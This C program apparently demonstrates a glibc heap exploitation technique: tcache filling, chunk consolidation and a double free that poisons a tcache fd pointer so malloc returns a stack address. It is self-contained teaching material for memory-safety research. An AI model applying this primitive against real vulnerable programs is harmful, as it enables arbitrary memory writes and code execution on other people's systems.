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#include <stdio.h>                                                                                                                    [14/1805]
#include <stdlib.h>
#include <stdint.h>

int main()
{
        setbuf(stdin,0);
        setbuf(stdout,0);

        intptr_t *tcache[7];
        intptr_t *victim,*prev;

        intptr_t stack_var[4];

        for(int i=0;i<7;i++)
        {
                tcache[i] = malloc(0x100);
        }

        prev = malloc(0x100);
        victim = malloc(0x100);
        //gap to top
        malloc(0);

        //fill up tcache
        for(int i=0;i<7;i++)
        {
                free(tcache[i]);
        }

        free(victim);
        //consolidate
        free(prev);
        //take one chunk out of tcache
        intptr_t *temp = malloc(0x100);
        //free victim again
        free(victim);
        puts("write victim's fd pointer as stack addr.");
        intptr_t *x = malloc(0x120);
        x[0x120/8-2] = (long)stack_var;

        sleep(0);//for breakpoint
        malloc(0x100);
        intptr_t *new = malloc(0x100);

        printf("now we get a chunk at stack addr is: %p.\n",new);
        sleep(0x100);
        return 0;
}